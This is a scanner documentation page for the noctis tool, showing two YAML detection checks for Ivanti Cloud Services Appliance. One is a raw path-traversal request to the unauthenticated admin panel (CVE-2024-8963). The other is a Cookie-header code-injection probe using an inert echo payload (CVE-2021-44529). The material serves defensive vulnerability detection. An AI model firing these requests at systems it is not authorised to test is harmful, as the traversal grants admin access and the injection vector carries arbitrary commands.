Ivanti Cloud Services Appliance — 2 vulnerability checks

noctis ships 2 vulnerability checks for Ivanti Cloud Services Appliance, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Ivanti Cloud Services Appliance Path Traversal Admin Access

CVECVE-2024-8963
Severitycritical · CVSS 9.1
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/ivanti-csa/CVE-2024-8963.yaml

Tests Ivanti CSA for unauthenticated path traversal to the admin user management panel (/gsb/users.php). A vulnerable appliance returns the admin panel HTML including User name and Set Password labels.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /client/index.php%3F.php/gsb/users.php HTTP/1.1
  2. Checks resp.banner for Ivanti Cloud Services Appliance
  3. Checks resp.banner for User name|Set Password → finding QoD 75: Ivanti CSA admin panel accessible without authentication via path traversal

References:

Feed source — tests/vulnerabilities/ivanti-csa/CVE-2024-8963.yaml
# Ivanti Cloud Services Appliance Path Traversal to Admin Panel — CVE-2024-8963
#
# Ivanti CSA before 4.6 Patch 519 does not properly validate paths in the web
# management interface. Appending %3F.php (URL-encoded ?) to /client/index.php
# bypasses the access check and exposes the gsb/users.php admin panel without
# authentication, allowing user account enumeration and modification.
#
# Chained with CVE-2024-8190 (OS command injection) by nation-state actors to
# establish persistent backdoors. CISA issued an emergency directive.
#
# tcp_connect is required: reqwest decodes %3F to ? before sending, which turns
# the path into a query string (?php/gsb/users.php) instead of a traversal.
uid: f1a8c3e7-5b2d-4f6e-9c0a-8d4b3e2f1c7a
name: "Ivanti Cloud Services Appliance Path Traversal Admin Access (CVE-2024-8963)"
description: |
  Tests Ivanti CSA for unauthenticated path traversal to the admin user
  management panel (/gsb/users.php). A vulnerable appliance returns the
  admin panel HTML including User name and Set Password labels.
cves: [CVE-2024-8963]
cvss: 9.1
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [ivanti, csa, path-traversal, auth-bypass, kev, apt]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-8963"
  - "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963"
  - "https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml"

steps:
  # Initialise before the conditional match chain
  - id: init-csa-flag
    action: set_var
    var_name: csa_detected
    var_value: false

  # ── Path traversal: %3F in URL must arrive at server un-decoded ─────────
  # tcp_connect required: reqwest decodes %3F → ? before sending, converting
  # the traversal into a query string instead of a path extension bypass.
  - id: traversal-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /client/index.php%3F.php/gsb/users.php HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: resp

  # Step 1: confirm the response came from Ivanti CSA
  - id: match-csa-brand
    action: match
    source: resp.banner
    pattern: "Ivanti Cloud Services Appliance"
    on_match:
      set_vars:
        csa_detected: true

  # Step 2: confirm the admin panel was reached (user management labels present)
  - id: match-admin-panel
    action: match
    source: resp.banner
    pattern: "User name|Set Password"
    condition: "csa_detected == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Ivanti CSA admin panel accessible without authentication via path traversal"
      stop: true

Ivanti EPM Cloud Services Appliance Code Injection RCE

CVECVE-2021-44529
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ivanti-csa/CVE-2021-44529.yaml

Ivanti EPM Cloud Services Appliance evaluates attacker-controlled cookie data as code on /client/index.php, allowing unauthenticated remote code execution. Detection injects an inert `echo` probe carrying an empty shell command substitution spliced into a per-run random marker; a vulnerable appliance collapses the substitution and reflects the contiguous marker, confirming code execution without performing any destructive action.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /client/index.php
  3. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Ivanti EPM Cloud Services Appliance Code Injection RCE (CVE-2021-44529)

References:

Feed source — tests/vulnerabilities/ivanti-csa/CVE-2021-44529.yaml
# Ivanti EPM Cloud Services Appliance — unauthenticated code injection RCE
# (CVE-2021-44529).
#
# The CSA web front-end (/client/index.php) evaluates attacker-controlled cookie
# data as code, giving an unauthenticated remote attacker code execution. This is
# in the CISA KEV catalogue (added 2024-03-25) with known ransomware use.
#
# Detection method — command-substitution collapse (inert, no real exploitation):
#   A `script` step mints a fresh per-run token (rand_hex(16) → 32 hex chars) and
#   builds an `echo` probe with an EMPTY shell command-substitution spliced into
#   the marker: "echo NOCTIS$()<token>". Only a context that actually evaluates
#   the injected code collapses the empty "$()" and emits the marker CONTIGUOUSLY
#   ("NOCTIS<token>"); an inert/patched endpoint reflects the literal bytes with
#   "$()" still interrupting the marker.
#
#   The finding is gated on BOTH:
#     - regex  NOCTIS[0-9a-f]{32}                   → the "$()" collapsed (code ran)
#     - stridx(resp.body, inj.marker) >= 0          → it is THIS run's random token
#   so a mock that statically echoes a constant "NOCTIS<hex>" marker (a cheat)
#   fails the stridx gate: its constant marker never equals this run's token.
#
#   The payload lives in a request HEADER (Cookie) and the match reads resp.body;
#   reqwest does not normalise header values or bodies, so http_request is safe
#   here (same header-injection pattern as the Shellshock feed).
uid: 316f295b-be11-4236-b7c2-4b650e957857
name: "Ivanti EPM Cloud Services Appliance Code Injection RCE (CVE-2021-44529)"
description: |
  Ivanti EPM Cloud Services Appliance evaluates attacker-controlled cookie data
  as code on /client/index.php, allowing unauthenticated remote code execution.
  Detection injects an inert `echo` probe carrying an empty shell command
  substitution spliced into a per-run random marker; a vulnerable appliance
  collapses the substitution and reflects the contiguous marker, confirming
  code execution without performing any destructive action.
cves: [CVE-2021-44529]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [ivanti, epm, csa, rce, code-injection, kev, apt]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-44529"
  - "https://github.com/jkana/CVE-2021-44529"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44529.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2021-44529"

steps:
  # 1 — mint a per-run token and build the inert command-substitution probe.
  #     payload = "echo NOCTIS$()<tok>"  → only a real eval collapses "$()" and
  #     emits "NOCTIS<tok>" contiguously. Returned as a map stored as `inj`.
  - id: mint-probe
    action: script
    store_as: inj
    code: |
      let tok = rand_hex(16);
      let marker = "NOCTIS" + tok;
      let payload = "echo NOCTIS$()" + tok;
      #{ tok: tok, marker: marker, payload: payload }

  # 2 — send the probe inside the Cookie header (the CSA injection vector).
  #     reqwest does not normalise header values, so the "$()" reaches the
  #     server intact (same pattern as the Shellshock feed).
  - id: inject-cookie
    action: http_request
    method: GET
    path: "/client/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "ab=ab; c={{inj.payload}}; d=; e=;"
      User-Agent: "Mozilla/5.0"
    store_as: resp

  # 3 — confirm code execution: the marker must appear CONTIGUOUSLY (the empty
  #     "$()" collapsed) AND match this run's random token, on a 200 response.
  #     A constant-marker cheat fails the stridx gate; an inert/patched endpoint
  #     fails the regex ("$()" still splits the marker).
  - id: match-collapse
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, inj.marker) >= 0"
    on_match:
      finding:
        title: "Ivanti EPM Cloud Services Appliance Code Injection RCE (CVE-2021-44529)"
        description: "The Ivanti CSA web interface evaluated an injected command-substitution probe and reflected the collapsed per-run marker, confirming unauthenticated remote code execution (CVE-2021-44529)."
        remediation: "Upgrade Ivanti EPM Cloud Services Appliance to a fixed release, restrict management-interface exposure, and review the appliance for compromise (CISA KEV, known ransomware use)."
        confidence_delta: 0.72
        qod: 97
        evidence: "Injected command substitution collapsed on /client/index.php — contiguous per-run marker observed in the response, proving code execution."
      stop: true

View these feeds on GitHub